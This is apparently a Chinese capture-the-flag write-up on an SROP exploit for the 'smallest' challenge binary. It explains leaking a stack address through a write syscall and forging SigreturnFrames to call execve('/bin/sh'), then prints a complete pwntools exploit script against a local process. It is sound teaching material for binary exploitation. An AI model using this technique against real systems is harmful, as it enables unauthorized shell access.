前言

srop 的作用比较强,在条件允许的情况下,尽量使用它。题目来自于 i春秋的一个比赛。

题目链接:

https://gitee.com/hac425/blog_data/blob/master/smallest

正文

程序非常的简单



使用 syscall 进行系统调用,往 rsp 读入数据,然后 ret, 直接就可以控制 rip.

程序非常的小,除了 这里基本没有代码,但是我们有 syscallsrop利用之。首先明确目标。

  1. execve(“/bin/sh”, 0, 0)

syscall 的传参顺序为

  1. rdi,rsi,rdx,rcx,r8, r9

然后 rax 存放 系统调用号 以及 syscall 的返回值。

所以我们需要设置

  1. rax=59
  2. rdi---> /bin/sh
  3. rsi=0
  4. rdx=0

然后 syscall.就可以拿到 shell 了。

使用 srop 我们可以控制所有的寄存器的值。

所以我们需要一个可写的地址在一次srop结束后设置为 rsp.

下面根据 exp 进行讲解

首先是通过栈中环境变量,泄露栈的地址,得到一个可写的地址,用于 srop 时设置 rsp.

因为 write 的系统调用号 为 1, 而且 stdout 也为 1, 这样我们输入一个字符。然后通过 rop 跳到

  1. mov rdi, rax ; fd
  2. syscall

我们就能 调用 write(1,rsi,rdx), 此时的 rsi 就是栈的地址,rdx 则为 0x400,我们就能 拿到 栈的地址。

有一点需要注意的是,我们需要事先布置好栈数据,然后再次进入 start, 控制 rax.因为我们要控制的 rax 值小于 我们需要布置的数据的长度。

  1. again = 0x4000B0 #xor rax, rax
  2. rdi_rsi_sys = 0x04000BB # mov rdi, rax
  3. payload = p64(again)
  4. payload += p64(rdi_rsi_sys)
  5. payload += p64(again) # addr for after leak
  6. p.send(payload)
  7. sleep(0.2)
  8. log.info("set stack for call write(1,....)")
  9. # pause()
  10. p.send('\xbb')
  11. data = p.recv()
  12. sleep(0.2)
  13. stack_addr = u64(data[0x10:0x18]) - 0x253
  14. log.info(hex(stack_addr))
  15. log.info("set rax=1, and ret to rdi_rsi_sys to call write(1,....)")

然后就是 srop 了。首先使用 srop 修改 rsp到 我们 一个刚刚泄露的地址.设置好 /bin/sh, 这么做的原因是,在一个确定地址处设置好 /bin/sh,用于后面 getshell.

然后又回到开头,设置 SigreturnFrame, 此时已经可以确定/bin/sh 的地址了。设置好 寄存器。srop之后,再次 syscall 执行

execve(“/bin/sh”, 0, 0)

最后

很多东西调试一遍就清楚了。调试 exp, 写一点就调试一点。srop 时 ,栈顶开始为 SigreturnFrame.

参考:

http://blog.csdn.net/qq_29343201/article/details/72627439

完整的 exp

  1. from pwn import *
  2. from time import sleep
  3. context(os='linux', arch='amd64', log_level='debug')
  4. p = process("./smallest")
  5. # gdb.attach(p, '''
  6. # bp *0x004000BE
  7. # ''')
  8. pause()
  9. again = 0x4000B0 #xor rax, rax
  10. rdi_rsi_sys = 0x04000BB # mov rdi, rax
  11. payload = p64(again)
  12. payload += p64(rdi_rsi_sys)
  13. payload += p64(again) # addr for after leak
  14. p.send(payload)
  15. sleep(0.2)
  16. log.info("set stack for call write(1,....)")
  17. # pause()
  18. p.send('\xbb')
  19. data = p.recv()
  20. sleep(0.2)
  21. stack_addr = u64(data[0x10:0x18]) - 0x253
  22. log.info(hex(stack_addr))
  23. log.info("set rax=1, and ret to rdi_rsi_sys to call write(1,....)")
  24. # pause()
  25. # swtch rsp ---> to leak addr, for get /bin/sh addr
  26. frame = SigreturnFrame()
  27. frame.rsp = stack_addr # after sigretrun, rsp
  28. frame.rip = again # ret to begin
  29. payload = p64(again)
  30. payload += 'd' * 8
  31. payload += str(frame)
  32. sleep(0.2)
  33. p.send(payload)
  34. syscall_addr = 0x04000BE
  35. payload = p64(syscall_addr)
  36. payload += '\x11' * (15 - len(payload))
  37. pause()
  38. sleep(0.2)
  39. p.send(payload)
  40. log.info("switch stack done")
  41. pause()
  42. payload = p64(again)
  43. payload += "B" * 8
  44. frame = SigreturnFrame()
  45. frame.rsp = stack_addr # after sigretrun, rsp
  46. frame.rip = syscall_addr # ret to begin
  47. frame.rax = 59
  48. frame.rdi = stack_addr + 0x10 + 0xf8
  49. payload += str(frame)
  50. payload += "/bin/sh\x00"
  51. p.send(payload)
  52. pause()
  53. payload = p64(syscall_addr)
  54. payload += '\x11' * (15 - len(payload))
  55. p.send(payload)
  56. p.interactive()

srop实战的更多相关文章

  1. SSH实战 · 唯唯乐购项目(上)

    前台需求分析 一:用户模块 注册 前台JS校验 使用AJAX完成对用户名(邮箱)的异步校验 后台Struts2校验 验证码 发送激活邮件 将用户信息存入到数据库 激活 点击激活邮件中的链接完成激活 根 ...

  2. GitHub实战系列汇总篇

    基础: 1.GitHub实战系列~1.环境部署+创建第一个文件 2015-12-9 http://www.cnblogs.com/dunitian/p/5034624.html 2.GitHub实战系 ...

  3. MySQL 系列(四)主从复制、备份恢复方案生产环境实战

    第一篇:MySQL 系列(一) 生产标准线上环境安装配置案例及棘手问题解决 第二篇:MySQL 系列(二) 你不知道的数据库操作 第三篇:MySQL 系列(三)你不知道的 视图.触发器.存储过程.函数 ...

  4. Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  5. 给缺少Python项目实战经验的人

    我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...

  6. asp.net core 实战之 redis 负载均衡和"高可用"实现

    1.概述 分布式系统缓存已经变得不可或缺,本文主要阐述如何实现redis主从复制集群的负载均衡,以及 redis的"高可用"实现, 呵呵双引号的"高可用"并不是 ...

  7. Linux实战教学笔记08:Linux 文件的属性(上半部分)

    第八节 Linux 文件的属性(上半部分) 标签(空格分隔):Linux实战教学笔记 第1章 Linux中的文件 1.1 文件属性概述(ls -lhi) linux里一切皆文件 Linux系统中的文件 ...

  8. Linux实战教学笔记07:Linux系统目录结构介绍

    第七节 Linux系统目录结构介绍 标签(空格分隔):Linux实战教学笔记 第1章 前言 windows目录结构 C:\windows D:\Program Files E:\你懂的\精品 F:\你 ...

  9. Linux实战教学笔记06:Linux系统基础优化

    第六节 Linux系统基础优化 标签(空格分隔):Linux实战教学笔记-陈思齐 第1章 基础环境 第2章 使用网易163镜像做yum源 默认国外的yum源速度很慢,所以换成国内的. 第一步:先备份 ...

随机推荐

  1. 使用json-lib-*.jar的JSON解析工具类

    使用json-lib-2.4-jdk15.jar JSON工具类: import java.util.List; import net.sf.json.JSONArray; import net.sf ...

  2. SQLServer覆盖索引

    为了更好地理解覆盖索引,在正式介绍覆盖索引之前,首先稍微来谈一谈有关索引的一些基础知识. 数据页和索引页 在SQLServer中,数据存储的基本单位是页,一页的大小为8KB,分别由页首,数据行和行偏移 ...

  3. log4j:WARN No appenders could be found for logger (org.apache.hadoop.metrics2.lib.MutableMetricsFactory). log4j:WARN Please initialize the log4j system properly. log4j:WARN See http://logging.apache.o

    上面的报错是在本地java调试(windows) hadoop集群 出现的 解决方案: 在resources文件夹下面创建一个文件log4j.properties(这个其实hadoop安装目录下的 e ...

  4. Android 开发工具类 03_HttpUtils

    Http 请求的工具类: 1.异步的 Get 请求: 2.异步的 Post 请求: 3.Get 请求,获得返回数据: 4.向指定 URL 发送 POST方法的请求. import java.io.Bu ...

  5. MyEclipse *的下载

    找到MyEclipse的各种历史版本下载页面 : MyEclipse官方中文网 欢迎大家,加入我的微信公众号:大数据躺过的坑        人工智能躺过的坑       同时,大家可以关注我的个人博客 ...

  6. sql返回行id

    1.sql语句中 insert into tableName() output inserted.id values() 2 .存储过程中 ALTER PROCEDURE dbo.getBuyMedi ...

  7. WordPress主题制作导航的N种方法

    在WordPress主 题制作中,导航菜单的制作算是一个重点,已经写好导航菜单的HTML代码,放在WordPress主题中如何动态调用呢?本文将给你介绍几种编写PHP代 码动态实现导航的方法,本文也将 ...

  8. tensorflow 滑动平均使用和恢复

    https://www.cnblogs.com/hrlnw/p/8067214.html

  9. MySQL查询表结构的SQL语句

    desc 数据库.表名; eg: desc mysql.user;

  10. [作业] Python入门基础--三级菜单

    用字典存储数据 可以随时返回上一级,随时退出程序 只能用循环判断等内置方法,不得导入模块 menu = { '广东':{ '广州':{ '越秀区':{ '面积':'33.80', '人口':'115万 ...